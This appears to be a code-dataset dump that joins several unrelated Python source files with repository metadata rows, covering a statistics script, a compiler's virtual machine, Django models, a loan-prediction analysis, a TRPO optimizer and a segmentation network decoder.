__author__ = 'hpf'
#基本统计值
def getNum(): #获取用户不定长度的输入
nums = []
iNumStr = input("请输入数字（回车退出）：")
while iNumStr != "":
nums.append(eval(iNumStr))
iNumStr = input("请输入数字（回车退出）：")
return nums
def mean(numbers): #计算平均值
s = 0.0
for num in numbers:
s += num
return s/len(numbers)
def dev(numbers, mean): #计算方差
sdev = 0.0
for num in numbers:
sdev = sdev + (num - mean)**2
return pow(sdev/(len(numbers))-1, 0.5)
def median(numbers): #计算中位数
sorted(numbers)
size = len(numbers)
if size % 2 == 0:
med = (numbers[size//2-1] + numbers[size//2])/2
else:
med = numbers[size//2]
return med
n = getNum() #主题函数
m = mean(n)
print("平均值：{},方差：{},中位数：{}".format(m, dev(n, m), median(n))) | [
"18813058359@163.com"
] | 18813058359@163.com |
54c5ad78ced39b2cecd00aca7399d2b8244f00de | 883feb44d5a95b96886665106a7db7ec15afbfe2 | /core/vm/vm.py | 72176cc003b2d573ebb3c245f1f4cbd47cca6fc0 | [] | no_license | CarlosIvanCardenas/proyecto-compiladores-ui | 7079b807aedef251d8cc1c44639b802c3db3750b | d699f0dc157014e749a9a0ef0a59b2831be824ab | refs/heads/main | 2023-01-13T22:01:29.992005 | 2020-11-24T01:09:50 | 2020-11-24T01:09:50 | 314,642,548 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,813 | py | from dataclasses import dataclass
from common.scope_size import GLOBAL_ADDRESS_RANGE, LOCAL_ADDRESS_RANGE, CONST_ADDRESS_RANGE, TEMP_ADDRESS_RANGE, \
POINTER_ADDRESS_RANGE
from compiler.quadruple import Operator, Quadruple
from compiler.symbol_table import VarType
from vm.memory import AddressBlock
from common.debug_flags import DEBUG_VM
"""
Esta clase se utiliza para guardar el contexto de ejecucion.
Contiene la posicion del instruction pointer, ademas del bloque
de memoria local correspondiente.
"""
@dataclass
class Frame:
IP: int
local_memory: AddressBlock
temp_memory: AddressBlock
class VM:
"""
Clase para simular la ejecución de una maquina virtual.
Atributos:
global_memory: Partición de memoria para el scope global.
temp_memory: Partición de memoria para mantener valores auxiliares.
execution_stack: Lista de bloques de memoria para cada función del directorio de funciones.
quad_list: Lista de cuadruplos a ejecutar.
const_memory: Partición de memoria para los valores constantes (read-only).
fun_dir: Tabla que almacena la informacion de las funciones a ejecutar.
"""
def __init__(self, quad_list, const_table, fun_dir):
"""
Inicializa los atributos de la clase VM.
:param quad_list: Lista de cuadruplos a ejecutar.
:param const_table: Tabla que asocia las constantes con una dirección de memoria.
:param fun_dir: Tabla que almacena la informacion de las funciones a ejecutar.
"""
self.global_memory = AddressBlock(GLOBAL_ADDRESS_RANGE[0], GLOBAL_ADDRESS_RANGE[1])
self.pointer_memory = AddressBlock(POINTER_ADDRESS_RANGE[0], POINTER_ADDRESS_RANGE[1])
self.execution_stack = [Frame(IP=0,
local_memory=AddressBlock(LOCAL_ADDRESS_RANGE[0], LOCAL_ADDRESS_RANGE[1]),
temp_memory=AddressBlock(TEMP_ADDRESS_RANGE[0], TEMP_ADDRESS_RANGE[1]))]
self.next_frame: Frame = None
self.next_exe_scope: ExeScope = None
self.quad_list = quad_list
self.const_memory = dict(map(lambda c: (c[1].address, c[1]), const_table.items()))
self.fun_dir = fun_dir
def get_current_frame(self):
"""
Funcion que regresa el frame actual, el cual se encuentra al tope del stack de ejecucion
:return: El frame actual de ejecucion
"""
return self.execution_stack[-1]
def get_current_memory(self):
"""
Funcion que regresa la memoria local actual, la cual se encuentra dentro del frame al
tope del stack de ejecucion
:return: La memoria local actual de ejecucion
"""
current_frame = self.get_current_frame()
return current_frame.local_memory
def start_new_frame(self, IP, local_partition_sizes, temp_partition_sizes):
"""
Genera un nuevo frame y lo guarda temporalmente en self.next_frame para preparar a la MV
para el cambio de contexto.
"""
self.next_frame = Frame(
IP=IP,
local_memory=AddressBlock(
LOCAL_ADDRESS_RANGE[0],
LOCAL_ADDRESS_RANGE[1],
local_partition_sizes[0],
local_partition_sizes[1],
local_partition_sizes[2],
local_partition_sizes[3]),
temp_memory=AddressBlock(
TEMP_ADDRESS_RANGE[0],
TEMP_ADDRESS_RANGE[1],
temp_partition_sizes[0],
temp_partition_sizes[1],
temp_partition_sizes[2],
temp_partition_sizes[3]))
def switch_to_new_frame(self):
"""
Anade el nuevo contexto al execution stack para completar el cambio de contexto una vez que la MV
esta lista, y deja self.next_frame vacia.
"""
self.execution_stack.append(self.next_frame)
self.next_frame = None
def restore_past_frame(self):
"""
Elimina el frame actual cuando la funcion que lo necesitaba termina su ejecucion
"""
self.execution_stack.pop()
def write(self, addr, value):
"""
Función auxiliar para escribir un valor en una dirección de memoria.
Verifica a que partición de memoria por scope pertenece la dirección.
:param addr: Dirección (absoluta) en la cual se desea escribir.
:param value: Valor que se desea escribir en memoria.
"""
if GLOBAL_ADDRESS_RANGE[0] <= addr < GLOBAL_ADDRESS_RANGE[1]:
self.global_memory.write(addr, value)
elif LOCAL_ADDRESS_RANGE[0] <= addr < LOCAL_ADDRESS_RANGE[1]:
self.get_current_memory().write(addr, value)
elif CONST_ADDRESS_RANGE[0] <= addr < CONST_ADDRESS_RANGE[1]:
raise MemoryError('Cannot to write to read-only memory')
elif TEMP_ADDRESS_RANGE[0] <= addr < TEMP_ADDRESS_RANGE[1]:
self.get_current_frame().temp_memory.write(addr, value)
elif POINTER_ADDRESS_RANGE[0] <= addr < POINTER_ADDRESS_RANGE[1]:
real_addr = self.pointer_memory.read(addr)
self.write(real_addr, value)
else:
raise MemoryError('Address out of bounds')
def read(self, addr):
"""
Función auxiliar para leer el valor asignado a una dirección de memoria.
Verifica a que partición de memoria por scope pertenece la dirección.
:param addr: Dirección (absoluta) de la cual se desea leer un valor.
:return: El valor asignado en la dirección "addr".
"""
if GLOBAL_ADDRESS_RANGE[0] <= addr < GLOBAL_ADDRESS_RANGE[1]:
return self.global_memory.read(addr)
elif LOCAL_ADDRESS_RANGE[0] <= addr < LOCAL_ADDRESS_RANGE[1]:
return self.get_current_memory().read(addr)
elif CONST_ADDRESS_RANGE[0] <= addr < CONST_ADDRESS_RANGE[1]:
const = self.const_memory[addr]
if const.type == VarType.INT:
return int(const.name)
elif const.type == VarType.FLOAT:
return float(const.name)
else:
return const.name
elif TEMP_ADDRESS_RANGE[0] <= addr < TEMP_ADDRESS_RANGE[1]:
return self.get_current_frame().temp_memory.read(addr)
elif POINTER_ADDRESS_RANGE[0] <= addr < POINTER_ADDRESS_RANGE[1]:
real_addr = self.pointer_memory.read(addr)
return self.read(real_addr)
else:
raise MemoryError('Address out of bounds')
def read_block(self, addr, size):
"""
Función auxiliar para leer los valores asignados a un bloque continuo de direcciones de memoria.
Verifica a que partición de memoria por scope pertenece la dirección.
:param addr: Dirección (absoluta) de la cual se desea leer un valor.
:param size: Tamaño del bloque.
:return: El valor asignado en la dirección "addr".
"""
if GLOBAL_ADDRESS_RANGE[0] <= addr < GLOBAL_ADDRESS_RANGE[1]:
return self.global_memory.read_block(addr, size)
elif LOCAL_ADDRESS_RANGE[0] <= addr < LOCAL_ADDRESS_RANGE[1]:
return self.get_current_memory().read_block(addr, size)
elif CONST_ADDRESS_RANGE[0] <= addr < CONST_ADDRESS_RANGE[1]:
raise MemoryError('There is not const arrays')
elif TEMP_ADDRESS_RANGE[0] <= addr < TEMP_ADDRESS_RANGE[1]:
return self.get_current_frame().temp_memory.read_block(addr, size)
elif POINTER_ADDRESS_RANGE[0] <= addr < POINTER_ADDRESS_RANGE[1]:
real_addr = self.pointer_memory.read_block(direct, size)
return self.read(real_addr)
else:
raise MemoryError('Address out of bounds')
def next_instruction(self):
"""
Se extrae el siguiente cuadruplo a ejecutar y se extrae su operador asi como los operandos involucrados.
Para las operaciones aritmeticas se realiza la operacion establecida con los operandos A y B y se guarda
el resultado en el operando C
"""
frame = self.get_current_frame()
current_quad: Quadruple
current_quad = self.quad_list[frame.IP]
instruction = current_quad.operator
A = current_quad.left_operand
B = current_quad.right_operand
C = current_quad.result
if DEBUG_VM:
print(f'{frame.IP}.\t{instruction}\tA:{A}\tB:{B}\tC:{C}')
if instruction == Operator.PLUS:
self.write(C, self.read(A) + self.read(B))
elif instruction == Operator.MINUS:
self.write(C, self.read(A) - self.read(B))
elif instruction == Operator.TIMES:
self.write(C, self.read(A) * self.read(B))
elif instruction == Operator.DIVIDE:
self.write(C, self.read(A) / self.read(B))
elif instruction == Operator.ASSIGN:
self.write(C, self.read(A))
elif instruction == Operator.AND:
self.write(C, self.read(A) and self.read(B))
elif instruction == Operator.OR:
self.write(C, self.read(A) or self.read(B))
elif instruction == Operator.LESSTHAN:
self.write(C, self.read(A) < self.read(B))
elif instruction == Operator.GREATERTHAN:
self.write(C, self.read(A) > self.read(B))
elif instruction == Operator.LESSTHANOREQ:
self.write(C, self.read(A) <= self.read(B))
elif instruction == Operator.GREATERTHANOREQ:
self.write(C, self.read(A) >= self.read(B))
elif instruction == Operator.EQUAL:
self.write(C, self.read(A) == self.read(B))
elif instruction == Operator.NOTEQUAL:
self.write(C, self.read(A) != self.read(B))
elif instruction == Operator.READ:
"""
READ se encarga de leer el input del usuario, Este input se recoge y se intenta hacer un cast al tipo
de la variable donde se guardara el input.
"""
var_type = frame.local_memory.get_partition(C)
user_input = input(f'READ {var_type.value}: ')
if var_type == VarType.INT:
try:
user_input = int(user_input)
except:
raise TypeError("Can not cast input to int")
elif var_type == VarType.FLOAT:
try:
user_input = float(user_input)
except:
raise TypeError("Can not cast input to float")
elif var_type == VarType.CHAR:
try:
user_input = str(user_input)
except:
raise TypeError("Can not cast input to char")
elif var_type == VarType.BOOL:
try:
user_input = bool(user_input)
except:
raise TypeError("Can not cast input to bool")
self.write(C, user_input)
elif instruction == Operator.WRITE:
"""
WRITE escribe en pantalla el valor que se recoge de la variable que se intenta escribir.
"""
value = self.read(C)
if type(value) == str:
value = value.replace('\\n', '\n')
print(value, end='')
elif instruction == Operator.GOTO:
"""
GOTO actualiza el valor del instruction pointer hacia la direccion del salto
"""
frame.IP = C
return
elif instruction == Operator.GOTOF:
"""
GOTOF actualiza el valor del instruction pointer hacia la direccion del salto siempre y cuando el valor
del operando A sea falso
"""
if not self.read(A):
frame.IP = C
return
elif instruction == Operator.GOTOT:
"""
GOTOT actualiza el valor del instruction pointer hacia la direccion del salto siempre y cuando el valor
del operando A sea verdadero
"""
if self.read(A):
frame.IP = C
return
elif instruction == Operator.GOSUB:
"""
Adelanta el IP a la siguiente instruccion a ejecutar despues de terminar con la funcion y termina
el cambio de contexto al llamar a switch_to_new_frame
"""
frame.IP += 1
self.switch_to_new_frame()
return
elif instruction == Operator.PARAMETER:
"""
Esta funcion se utiliza para mapear los valores para el parametro C en el contexto
de ejecucion proximo a despertar.
"""
self.next_frame.local_memory.write(C, self.read(A))
elif instruction == Operator.ENDFUN:
"""
Elimina el frame (y con eso el contexto de ejecucion) de la funcion que haya terminado su ejecucion.
"""
self.restore_past_frame()
return
elif instruction == Operator.ERA:
"""
ERA inicializa un nuevo frame para preparar a la maquina virtual para el cambio de contexto que
ocurre al llamarse una funcion. El nuevo frame sera incializado con la informacion correspondiente de
la funcion a ejecutar (su direccion de inicio y los tamanos requeridos para sus variables).
"""
self.start_new_frame(
IP=self.fun_dir[C].start_addr,
local_partition_sizes=self.fun_dir[C].local_partition_sizes,
temp_partition_sizes=self.fun_dir[C].temp_partition_sizes
)
elif instruction == Operator.VERIFY:
"""
VERIFY se asegura de que el indice A este entre los limites B y C, que corresponden a los limites de la
dimension correspondiente de un arreglo
"""
try:
index = int(self.read(A))
except:
raise TypeError("Index is not an integer")
if not self.read(B) <= index < self.read(C):
raise Exception("Index out of bounds")
elif instruction == Operator.ASSIGNPTR:
"""
VERIFY se asegura de que el indice A este entre los limites B y C, que corresponden a los limites de la
dimension correspondiente de un arreglo
"""
self.pointer_memory.write(C, self.read(A))
frame.IP += 1
def run(self):
"""
Ejecuta todas las intrucciones de la quad_list
"""
if DEBUG_VM:
print("\nInicio ejecución:")
while self.get_current_frame().IP < len(self.quad_list):
self.next_instruction()
| [
"cicc1998@gmail.com"
] | cicc1998@gmail.com |
b86f37f64be3a4a6a783e0cc8de77ab087a399bf | 4b360696d512a35b2114c482c658d10e3ff91a2c | /project-addons/mail_ph/models/__init__.py | 94a375f2116535169a7287ca79e29be1a3feb530 | [] | no_license | Comunitea/CMNT_010_15_PHA | 24ecf3be6a50441dfa3dd8deca4ee96ac5e61970 | d4a24aafba48fc7dda7ee662e0c7e1112c220162 | refs/heads/master | 2022-08-12T00:39:24.464028 | 2022-07-11T10:30:30 | 2022-07-11T10:31:31 | 37,918,119 | 0 | 1 | null | 2015-12-02T12:39:43 | 2015-06-23T12:37:45 | Python | UTF-8 | Python | false | false | 256 | py | # -*- coding: utf-8 -*-
# © 2020 Pharmadus I.T.
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
from . import res_partner, sale_order, purchase_order, hr_holidays, \
account_invoice, res_company, stock, mail_compose_message, mail_mail | [
"oscar.salvador@pharmadus.com"
] | oscar.salvador@pharmadus.com |
f78398b8f7458ea46cd65be017f77894f35269a5 | 0947e06c9015b3ba8fe542d8b56e2df95c4ac15b | /loanPrediction.py | e09846e815caea31cd9e9d9ad1352ad8c2b1c310 | [] | no_license | stnorbi/LoanPrediction | 0a41a20f9045fb8dd70b9b42cec1d396125e517c | 714b2107cb5e7d125f6585cdbc9ffd471eceadd4 | refs/heads/master | 2020-04-10T19:10:40.706148 | 2018-12-14T22:09:11 | 2018-12-14T22:09:11 | 161,224,288 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,280 | py | import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import os
pd.set_option('display.expand_frame_repr', False)
# File pathes:
sample_path=os.path.dirname(__file__) + "/Samples/"
#Load the dataset into a pandas dataframe
dataFrame=pd.read_csv(sample_path + "train.csv")
print(dataFrame.head())
#Descriptive statistics of numerical fields
desc_stat=dataFrame.describe()
print("\n","Descriptive statistics of numerical fields","\n",desc_stat)
#Frequency analysis of non-numerical variables
def freq_nonnum(df):
dct={}
keys=['Married','Dependents','Education','Self_Employed','Property_Area','Loan_Status']
for k in keys:
dct[k]=(df[k].count())
print("\n","Frequency analysis of non-numerical variables")
for k,j in dct.items():
print(k,":",j)
freq_nonnum(dataFrame)
#Distribution analysis of numerical variables
fig, axes=plt.subplots(nrows=3,ncols=3)
fig.tight_layout()
# ax1.set_title("Distribution of Applicant Income")
fig.add_subplot(3,3,1).set_title("Application Income")
dataFrame['ApplicantIncome'].hist(bins=50).plot()
fig.add_subplot(3,3,2)
dataFrame.boxplot(column='ApplicantIncome').plot()
dataFrame.boxplot(column='ApplicantIncome',by='Education', ax=axes[0,2])
plt.subplot(3,3,4).set_title("Loan Amount")
dataFrame['LoanAmount'].plot.hist(bins=50).plot()
dataFrame.boxplot(column="LoanAmount",ax=axes[1,1])
fig.suptitle("")
# Frequency of Credit history
creditHistory=dataFrame["Credit_History"].value_counts(ascending=True)
print("Frequency of Credit History","\n",creditHistory,"\n")
#Probability of getting Loan
getLoan=dataFrame.pivot_table(values='Loan_Status',index=['Credit_History'], aggfunc=lambda x: x.map({'Y':1,'N':0}).mean())
print("Probability of getting loan:","\n",getLoan)
# Visualization of the pivot tables above
creditHistory.plot(kind="bar",ax=axes[1,2]).set_title("Applicants by Credit History")
getLoan.plot(kind='bar',ax=axes[2,0]).set_title("Probability of getting Loan")
combined_viz=pd.crosstab(dataFrame['Credit_History'], dataFrame['Loan_Status'])
combined_viz.plot(kind='bar',stacked=True,color=['red','blue'],grid=False,ax=axes[2,1]).set_title("Getting Loan by Credit History")
combined_viz2=pd.crosstab(index=[dataFrame['Credit_History'],dataFrame['Gender']], columns=dataFrame['Loan_Status'])
combined_viz2.plot(kind='bar',stacked=True,color=['red','blue'],grid=False,ax=axes[2,2]).set_title("Getting Loan by Gender and Credit History")
print("\n Missing values in data set:\n",dataFrame.apply(lambda x:sum(x.isnull()),axis=0))
# print("\n Impute the missing values of LoanAmount by mean:\n")
# dataFrame['LoanAmount'].fillna(dataFrame['LoanAmount'].mean(),inplace=True)
# print(dataFrame.head(10))
# A key hypothesis is that the whether a person is educated or self-employed can combine to give a good estimate of loan amount.
fig2, axes=plt.subplots(nrows=1,ncols=2)
fig2.tight_layout()
dataFrame.boxplot(column='LoanAmount',by=['Education','Self_Employed'],ax=axes[0])
print("\nImpute the the missing values of Self_Employed variable by 'NO' as its probability is high\n")
dataFrame['Self_Employed'].fillna('No',inplace=True)
print(dataFrame.head(10))
# median tables of "Self_Employed" and "Education" features
table=dataFrame.pivot_table(values="LoanAmount",index='Self_Employed',columns='Education',aggfunc=np.median)
# value print function
def printvalue(x):
return table.loc[x['Self_Employed'],x['Education']]
# Impute missing values in the LoanAmount feature table
dataFrame['LoanAmount'].fillna(dataFrame[dataFrame['LoanAmount'].isnull()].apply(printvalue,axis=1),inplace=True)
print("\n",dataFrame.head(20))
# nullify the effect of Loan Amount outliers
dataFrame['LoanAmount_log']=np.log(dataFrame['LoanAmount'])
fig2.add_subplot(1,2,2).set_title("Loan Amount (log)")
dataFrame['LoanAmount_log'].hist(bins=20).plot()
fig2.suptitle("")
# Aggregation of the incomes (Applicant + Co-applicant)
dataFrame['TotalIncome']=dataFrame['LoanAmount'] + dataFrame['CoapplicantIncome']
dataFrame['TotalIncome_log']=np.log(dataFrame['TotalIncome'])
fig3, axes=plt.subplots(nrows=1,ncols=1)
fig3.tight_layout()
fig3.add_subplot(1,1,1).set_title('Total Income (log)')
dataFrame['TotalIncome_log'].hist(bins=20).plot()
plt.show() | [
"streling.norbert@gmail.com"
] | streling.norbert@gmail.com |
1d6c1bc9d8dcf9d0703c2f2e0e55e31c19f55315 | b4687bd0817c6d00d8afde2721102416462cd73f | /txtemplates/server_templates/templates/protocol/__init__.jinja | 385ad13db7f0d3c9042df2b700ac4bd8cb63cd9d | [] | no_license | mdrohmann/txtemplates | a8818b5213c38f1d27d497e3578129d07f764c06 | b346b15d3eb465ec828a31fea0a00df3ae582942 | refs/heads/master | 2020-06-02T21:37:31.690441 | 2015-04-21T16:00:41 | 2015-04-21T16:00:41 | 40,129,367 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 66 | jinja | from . import pb
__all__ = ['pb']
# vim: set ft=python sw=4 et:
| [
"mdrohmann@gmail.com"
] | mdrohmann@gmail.com |
da2d3c60254b69999d1ab59f7e74952218582ac1 | 25d147519eb689d00339d7950b764798629ad3a8 | /forms/models.py | 537559e89ab76839d62ef8b41a38e2037b68fcdc | [
"MIT"
] | permissive | bernardobgam/edtech_experiment | 3172f3eb7a2ab522f23666d64f221375febba108 | 88a64b925b6692261649418260a0bdf7b4a5a9d1 | refs/heads/master | 2022-12-13T03:48:10.721752 | 2019-10-21T04:23:04 | 2019-10-21T04:23:04 | 216,477,111 | 0 | 0 | MIT | 2022-11-22T04:17:36 | 2019-10-21T04:24:44 | JavaScript | UTF-8 | Python | false | false | 1,063 | py | from django.db import models
from lab.models import LabProgress, LabCode
from django.utils import timezone
from django.db.models import Sum
# Create your models here.
class ParticipationConsent(models.Model):
"""Saves the consent forms"""
lab_session = models.ForeignKey(LabProgress, on_delete=models.CASCADE)
lab_code = models.ForeignKey(LabCode, on_delete=models.CASCADE)
name = models.CharField(max_length=320, blank=False)
consent = models.BooleanField(default=False)
date = models.DateTimeField(default=timezone.now)
class CashReceipt(models.Model):
"""Cash Payment Receipt"""
lab_session = models.ForeignKey(LabProgress, on_delete=models.CASCADE, blank=True, null=True)
lab_code = models.ForeignKey(LabCode, on_delete=models.CASCADE, blank=True, null=True)
name = models.CharField(max_length=320, blank=False)
amount = models.FloatField(blank=False)
date = models.DateTimeField(default=timezone.now)
signature = models.TextField()
def pay_sum(self):
return self.aggregate(Sum('amount'))
| [
"bernardogam@gmail.com"
] | bernardogam@gmail.com |
3f79c10b4a5c6efa78489ad412c41b7383e80ce2 | 376de370915329d65f60e41e17cbcf642cfe0212 | /optim/trpo.py | e39eb7f5f68872800c2717ef033c01ba1c89fedb | [
"MIT"
] | permissive | Bobobert/TRPO | 4c5588f8e8366a350843cb3933e65f54103eff4e | 9134ac692955b2bee3596d9a6a4dde145ad993e7 | refs/heads/master | 2023-03-25T16:08:15.072113 | 2021-03-19T02:33:19 | 2021-03-19T02:33:19 | 339,814,431 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,247 | py | # THIS IS HELL
from torch.distributions.kl import kl_divergence
from TRPO.functions.const import *
from .functions import cg, ls, convert2flat, convertFromFlat, unpackTrajectories
class TRPO:
"""
Optimizer Trust Region Policy Optimization
Mostly based on Schulman's implementation on Theano
https://github.com/joschu/modular_rl/blob/master/modular_rl/trpo.py
"""
def __init__(self, policy, **kwargs):
self.pi = policy
self.pi2 = policy.clone() # A copy of the network for surrogate evalution
self.device = next(policy.parameters()).device
self.delta = kwargs.get("delta", MAX_DKL)
self.states, self.returns = None, None
self.cgDamping = kwargs.get("cg_damping",CG_DAMPING)
self.name = "TRPO"
def __repr__(self):
return self.name
def updateParams(self, *trajectoryBatch):
self.pi.none_grad()
params = [p.clone().detach_() for p in self.pi.parameters()]
states, actions, returns, advantage, oldLogprobs, _, _, N = unpackTrajectories(*trajectoryBatch, device = self.device)
self.states, self.returns = states, returns
Ni = 1.0 / N
#advantage = returns - baselines
#advantage.detach_()
def calculateSurrogate(stateDict=None):
if stateDict is not None:
pi = self.pi2
pi.loadOther(stateDict)
states.detach_().requires_grad_(False)
else:
pi = self.pi
states.requires_grad_(True)
dist = pi.getDist(pi.forward(states))
logprobsNew = Tsum(dist.log_prob(actions), dim=-1)
oldLogprobs_ = Tsum(oldLogprobs.detach_(), dim=-1)
probsDiff = exp(logprobsNew - oldLogprobs_)
surrogate = mean(mul(probsDiff, advantage))
#surrogate *= -1.0 if self.gae else 1.0
return surrogate
def getGrad(loss, c:float = 1.0, detach = True,
graph:bool = False, retainGraph:bool = False):
g = []
loss.backward(create_graph=graph, retain_graph=retainGraph)
for p in self.pi.parameters():
ax = p.grad.clone().detach_() if detach else p.grad.clone()
g += [c * ax]
return g
# Calculate gradient respect to L(Theta)
surr = calculateSurrogate()
pg = getGrad(surr)
# Fisher-vector product
def fvp(x, shapes):
self.pi.none_grad()
logprobs = self.pi.forward(states)
logprobsFixed = logprobs.detach()
dist = self.pi.getDist(logprobs)
distFix = self.pi.getDist(logprobsFixed)
klFirstFixed = kl_divergence(distFix, dist) * Ni
klGrad = getGrad(klFirstFixed, detach = False, graph=True, retainGraph=True)
xL = convertFromFlat(x.requires_grad_(False), shapes)
gvpL = [Tsum(mul(v,w)).unsqueeze(0) for v, w in zip(klGrad, xL)]
gvp = Tsum(cat(gvpL, dim=0))
Fv, _ = convert2flat(getGrad(gvp))
Fv += self.cgDamping * x
#for mem clean
states.detach_()
klFirstFixed.detach_()
return Fv
# Begin
## Solve conjugate gradient for s
stepDir, stpDirShapes = cg(fvp, pg) # Consumes memory, gc failling in here
flatFVP, _ = convert2flat(fvp(stepDir, stpDirShapes))
sHs = 0.5 * dot(stepDir, flatFVP)
betai = Tsqrt(sHs / self.delta)
fullStep = stepDir / betai
flatPG, _ = convert2flat(pg)
GStepDir = dot(flatPG, stepDir) / betai
## line search for the paramaters
self.pi.zero_grad()
success, theta = ls(calculateSurrogate, params, fullStep, GStepDir)
self.pi.loadOther(theta)
# Mem clean
def destroyArr(*arrs):
for arr in arrs:
if isinstance(arr, list):
for i in arr:
del i
del arr
destroyArr(pg, stepDir, flatFVP, fullStep, GStepDir, flatPG)
return "Success {}, Surrogates: {:.3f}, {:.3f}".format(success, surr.item(), calculateSurrogate().item())
| [
"robertolopez94@outlook.com"
] | robertolopez94@outlook.com |
7d046603c008827962ae044ec476f221c259833d | 8696c69e63a825201a4529381f612ca501a397bb | /modeling/two_layer_decoder.py | 1c1452182614f26da697f6b6877e07ae12786405 | [] | no_license | nageshgurram12/generic-semantic-segmentation | 14aaf7d08d0e07e4c998071a8c63f71a2d381ea3 | 6cc5be06ff6a51bd9cad41c076a21cdb4f7eee3e | refs/heads/master | 2021-07-26T00:09:37.223561 | 2020-10-11T14:24:32 | 2020-10-11T14:24:32 | 224,564,709 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,939 | py | import math
import torch
import torch.nn as nn
import torch.nn.functional as F
from modeling.sync_batchnorm.batchnorm import SynchronizedBatchNorm2d
class NonBottleNeck(nn.Module):
def __init__(self, inplanes, planes, BatchNorm=None, dilation=1):
super(NonBottleNeck, self).__init__()
reduction = 8
self.conv_pre = None
if inplanes != planes:
self.conv_pre = nn.Conv2d(inplanes, planes, 1, bias=False)
self.conv1d_1 = nn.Conv2d(planes, planes, kernel_size=(1,3), padding=(0,1), bias=False)
self.conv1d_2 = nn.Conv2d(planes, planes, kernel_size=(3,1), padding=(1,0), bias=False)
red_planes = int(planes/reduction) # Reduce the planes
self.conv11c = nn.Conv2d(planes, red_planes, 1, bias=False)
self.conv1 = nn.Conv2d(planes, planes, 1, bias=False)
self.conv3 = nn.Conv2d(red_planes, red_planes, 3, dilation = dilation, padding = dilation, bias=False)
self.conv5 = nn.Conv2d(red_planes, red_planes, 5, dilation = dilation, padding = 2*dilation, bias=False)
self.conv11e = nn.Conv2d(red_planes, planes, 1, bias=False)
self.bn1 = BatchNorm(red_planes)
self.bn2 = BatchNorm(planes)
self.relu = nn.ReLU(inplace=True)
self.conv11 = nn.Sequential(nn.Conv2d(planes, planes, 1, bias=False),
BatchNorm(planes),
nn.ReLU(inplace=True))
self.conv33 = nn.Sequential(self.conv11c,
BatchNorm(red_planes),
nn.ReLU(inplace=True),
self.conv3,
BatchNorm(red_planes),
nn.ReLU(inplace=True),
self.conv11e,
BatchNorm(planes),
nn.ReLU(inplace=True))
self.conv55 = nn.Sequential(self.conv11c,
BatchNorm(red_planes),
nn.ReLU(inplace=True),
self.conv5,
BatchNorm(red_planes),
nn.ReLU(inplace=True),
self.conv11e,
BatchNorm(planes),
nn.ReLU(inplace=True))
def forward(self, x):
if self.conv_pre is not None:
out = self.conv_pre(x)
# Apply 1D convolutions
out = self.conv1d_1(x)
out = self.bn2(out)
out = self.relu(out)
out = self.conv1d_2(out)
out = self.bn2(out)
out = self.relu(out)
# Apply 3x3 conv
out33 = self.conv33(out)
#Apply 5x5 conv
out55 = self.conv55(out)
# Apply 1x1 conv
out11 = self.conv11(out)
#merge all paths
out = (out11 + out33 + out55)
out += x
return out
class Decoder(nn.Module):
def __init__(self, num_classes, backbone, BatchNorm):
super(Decoder, self).__init__()
if backbone == 'resnet' or backbone == 'drn':
low_level_inplanes = (256, 512)
elif backbone == 'xception':
low_level_inplanes = (128, 256)
elif backbone == 'mobilenet':
low_level_inplanes = (24, 48)
else:
raise NotImplementedError
self.relu = nn.ReLU(inplace=True)
self.conv3x_0 = nn.Conv2d(low_level_inplanes[1], 96, 1, bias=False)
self.bn3x_0 = BatchNorm(96)
#conv after fuse with res3x low level features
self.type1_nb_layer = nn.Sequential(nn.Conv2d(352, 256, kernel_size=1, bias=False),
BatchNorm(256),
NonBottleNeck(256, 256, BatchNorm, dilation=1),
NonBottleNeck(256, 256, BatchNorm, dilation=1),
nn.Dropout(0.5))
self.conv2x_0 = nn.Conv2d(low_level_inplanes[0], 48, 1, bias=False)
self.bn2x_0 = BatchNorm(48)
#Conv after fuse with res2x low level features
self.type2_nb_layer = nn.Sequential(nn.Conv2d(304, 256, kernel_size=1, bias=False),
BatchNorm(256),
NonBottleNeck(256, 256, BatchNorm, dilation=2),
NonBottleNeck(256, 256, BatchNorm, dilation=2),
nn.Dropout(0.1))
self.conv_last = nn.Conv2d(256, num_classes, kernel_size = 1)
'''
self.last_conv = nn.Sequential(nn.Conv2d(304, 256, kernel_size=3, stride=1, padding=1, bias=False),
BatchNorm(256),
nn.ReLU(),
nn.Dropout(0.5),
nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1, bias=False),
BatchNorm(256),
nn.ReLU(),
nn.Dropout(0.1),
nn.Conv2d(256, num_classes, kernel_size=1, stride=1))
'''
self._init_weight()
def forward(self, x, low_level_feat_2x, low_level_feat_3x):
'''
low_level_feat_3x has size (512, 65, 65)
low_level_feat_2x has size (256, 129, 129)
'''
low_level_feat_3x = self.conv3x_0(low_level_feat_3x)
low_level_feat_3x = self.bn3x_0(low_level_feat_3x)
low_level_feat_3x = self.relu(low_level_feat_3x)
x = F.interpolate(x, size=low_level_feat_3x.size()[2:], mode='bilinear', align_corners=True)
x = torch.cat((x, low_level_feat_3x), dim=1)
x = self.type1_nb_layer(x)
low_level_feat_2x = self.conv2x_0(low_level_feat_2x)
low_level_feat_2x = self.bn2x_0(low_level_feat_2x)
low_level_feat_2x = self.relu(low_level_feat_2x)
x = F.interpolate(x, size=low_level_feat_2x.size()[2:], mode='bilinear', align_corners=True)
x = torch.cat((x, low_level_feat_2x), dim=1)
x = self.type2_nb_layer(x)
x = self.conv_last(x)
return x
def _init_weight(self):
for m in self.modules():
if isinstance(m, nn.Conv2d):
torch.nn.init.kaiming_normal_(m.weight)
elif isinstance(m, SynchronizedBatchNorm2d):
m.weight.data.fill_(1)
m.bias.data.zero_()
elif isinstance(m, nn.BatchNorm2d):
m.weight.data.fill_(1)
m.bias.data.zero_()
def build_decoder(num_classes, backbone, BatchNorm):
return Decoder(num_classes, backbone, BatchNorm) | [
"nageshgurram12@gmail.com"
] | nageshgurram12@gmail.com |
